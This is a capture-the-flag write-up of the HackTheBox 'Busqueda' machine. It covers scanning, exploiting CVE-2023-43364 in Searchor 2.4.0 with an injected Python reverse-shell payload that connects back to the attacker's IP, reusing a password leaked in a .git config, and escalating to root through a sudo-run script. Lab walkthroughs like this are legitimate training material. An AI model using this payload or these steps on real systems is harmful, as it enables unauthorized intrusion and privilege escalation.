HackTheBox - Machines - Busqueda

🕒 2025/01/20

• IP: 10.10.11.208
• OS: Linux
• Difficulty: Easy

1. Nmap

First, let's scan all the ports on the machine with nmap.

• sudo nmap -sS -sV -sC -v -p 1-65535 -oN nmap.txt 10.10.11.208

  # Nmap 7.94SVN scan initiated Tue Jan 21 00:59:22 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -v -p 1-65535 -oN nmap.txt 10.10.11.208
  Nmap scan report for 10.10.11.208
  Host is up (0.22s latency).
  Not shown: 65533 closed tcp ports (reset)
  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
  |_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
  80/tcp open  http    Apache httpd 2.4.52
  |_http-title: Did not follow redirect to http://searcher.htb/
  |_http-server-header: Apache/2.4.52 (Ubuntu)
  | http-methods: 
  |_  Supported Methods: GET HEAD POST OPTIONS
  Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  
  Read data files from: /usr/share/nmap
  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  # Nmap done at Tue Jan 21 01:05:31 2025 -- 1 IP address (1 host up) scanned in 369.11 seconds
  

We discovered that port 80 is open.

2. Website

Next, we attempted to access the website.

• Add 10.10.11.208 searcher.htb to /etc/hosts
  • /etc/hosts
    
• Access http://searcher.htb/
  
  
  • Searchor 2.4.0

At the bottom of the page, we found that the server was powered by Searchor version 2.4.0.

3. CVE-2023-43364 RCE

After researching Searchor 2.4.0, we found that it is vulnerable to CVE-2023-43364, which allows Remote Code Execution (RCE).

• CVE-2023-43364 NVD Detail

To exploit this vulnerability, we referenced this GitHub repository, which provides a proof of concept (PoC) for CVE-2023-43364.

1. On our attacker machine, we set up a listener using netcat
   • nc -nvlp 443
     
2. On the target website, we injected the following payload into the input field to obtain a reverse shell.
   • 
     • ', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.7',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

• nc -nvlp 443
  

As seen in the screenshot, we successfully obtained a reverse shell.

• Flag
  • /home/svc/user.txt
    

4. Sensitive File Exposure

During our enumeration, we discovered 2 .git folders/files

• find / -iname .git 2>/dev/null
  

While investigating /var/www/app/.git/, we discovered sensitive information

• /var/www/app/.git/config
  
  • username: cody
  • password: jh1usoih2bkjaspwe92

After several attempts, we discovered that the password also belongs to svc.

• sshpass -p 'jh1usoih2bkjaspwe92' ssh svc@10.10.11.208
  

As seen in the screenshot, we successfully logged in as svc.

5. Abusing sudo for Privilege Escalation

After further investigation, we discovered something interesting related to sudo permissions

• sudo -l
  

We have root privileges to execute sudo /usr/bin/python3 /opt/scripts/system-checkup.py *.

Deepening our investigation:

• Checking the permissions for /opt/scripts/system-checkup.py:
  • ls -l /opt/scripts/system-checkup.py
    
• Executing sudo /usr/bin/python3 /opt/scripts/system-checkup.py *:
  • sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
    
• Executing sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup from /home/svc/:
  • sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
    
• Executing the same command from /opt/scripts/:
  • sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
    
• Listing files in /opt/scripts/:
  • ls
    

Based on the above, we can assume that executing sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup will trigger the execution of full-checkup.sh in the directory where the command is executed.

To verify this, let's first craft a testing payload:

• full-checkup.sh
  

Now, we test it by executing the command again:

• /home/svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
  

As seen in the screenshot, full-checkup.sh was executed from /home/svc/, which confirms our assumption.

With the execution flow confirmed, we can now proceed to craft the actual payload:

• full-checkup.sh
  

1. On our attacker machine, we set up a listener using netcat
   • nc -nvlp 443
     
2. On the target machine, we executing the command once again:
   • /home/svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
     

• nc -nvlp 443
  

As seen in the screenshot, we successfully escalated to root privileges.

• Flag
  • /root/root.txt